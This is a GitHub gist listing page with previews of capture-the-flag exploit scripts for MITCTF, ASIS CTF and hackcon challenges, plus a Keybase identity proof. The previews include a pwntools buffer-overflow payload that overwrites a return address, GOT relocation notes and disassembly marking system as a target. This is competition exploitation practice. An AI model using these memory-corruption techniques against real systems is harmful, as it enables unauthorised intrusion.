Skip to content

Instantly share code, notes, and snippets.

@sudhackar
sudhackar / getsocial.py
Created March 25, 2017 15:58
[MITCTF] pwn-getsocial
from pwn import *
s = remote('127.0.0.1',5000)
s.recvuntil('command:')
s.sendline('2')
s.recvuntil('overwrite?')
s.sendline('2')
s.recvuntil('tweet:')
s.sendline('A'*140+p32(0x804918c))
s.recvuntil('command:')
@sudhackar
sudhackar / keybase.md
Last active February 14, 2022 13:03
Keybase

Keybase proof

I hereby claim:

  • I am sudhackar on github.
  • I am sudhackar (https://keybase.io/sudhackar) on keybase.
  • I have a public key whose fingerprint is 285B 7686 8970 789A B6D2 EAFF E6DB 7072 7521 A3FB

To claim this, I am signing this object:

@sudhackar
sudhackar / diapers.py
Created September 11, 2016 17:27
ASIS CTF finals Diaper Simulator pwn-2
from pwn import *
local=len(sys.argv)==1
'''
0804b00c 00000107 R_386_JUMP_SLOT 00000000 printf
0804b010 00000207 R_386_JUMP_SLOT 00000000 memcpy
0804b014 00000307 R_386_JUMP_SLOT 00000000 __stack_chk_fail
0804b018 00000407 R_386_JUMP_SLOT 00000000 fread
0804b01c 00000507 R_386_JUMP_SLOT 00000000 puts
0804b020 00000607 R_386_JUMP_SLOT 00000000 __gmon_start__
0804b024 00000707 R_386_JUMP_SLOT 00000000 exit
@sudhackar
sudhackar / easypwnie.py
Created August 20, 2016 15:37
[hackcon]easypwnie
from pwn import *
import numpy as np
import sys
'''
0x00019ad3 <+243>: mov DWORD PTR [esp],eax
0x00019ad6 <+246>: call 0x32f50 <exit>
p system